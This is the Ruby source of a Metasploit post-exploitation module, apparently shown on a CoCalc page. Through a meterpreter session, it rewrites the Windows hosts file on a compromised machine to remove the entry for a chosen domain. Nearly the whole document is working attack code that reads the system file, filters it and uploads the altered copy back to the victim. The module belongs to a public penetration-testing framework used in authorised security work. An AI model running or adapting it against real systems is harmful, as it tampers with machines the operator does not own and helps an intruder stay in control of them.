CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7

8
  def initialize(info = {})
9
    super(
10
      update_info(
11
        info,
12
        'Name' => 'Windows Manage Host File Entry Removal',
13
        'Description' => %q{
14
          This module allows the attacker to remove an entry from the Windows hosts file.
15
        },
16
        'License' => BSD_LICENSE,
17
        'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
18
        'Platform' => [ 'win' ],
19
        'SessionTypes' => [ 'meterpreter' ],
20
        'Compat' => {
21
          'Meterpreter' => {
22
            'Commands' => %w[
23
              core_channel_close
24
              core_channel_eof
25
              core_channel_open
26
              core_channel_read
27
              core_channel_tell
28
              core_channel_write
29
            ]
30
          }
31
        }
32
      )
33
    )
34

35
    register_options(
36
      [
37
        OptString.new('DOMAIN', [ true, 'Domain name to remove from the hosts file.' ])
38
      ]
39
    )
40
  end
41

42
  def run
43
    hosttoremove = datastore['DOMAIN']
44
    # remove hostname from hosts file
45
    fd = client.fs.file.new('C:\\WINDOWS\\System32\\drivers\\etc\\hosts', 'r+b')
46

47
    # Get a temporary file path
48
    meterp_temp = Tempfile.new('meterp')
49
    meterp_temp.binmode
50
    temp_path = meterp_temp.path
51

52
    print_status("Removing hosts file entry pointing to #{hosttoremove}")
53

54
    newfile = ''
55
    fdray = fd.read.split("\r\n")
56

57
    fdray.each do |line|
58
      unless line.match("\t#{hosttoremove}$")
59
        newfile += "#{line}\r\n"
60
      end
61
    end
62

63
    fd.close
64

65
    meterp_temp.write(newfile)
66
    meterp_temp.close
67

68
    client.fs.file.upload_file('C:\\WINDOWS\\System32\\drivers\\etc\\hosts', meterp_temp)
69
    print_good('Done!')
70
  end
71
end
72

73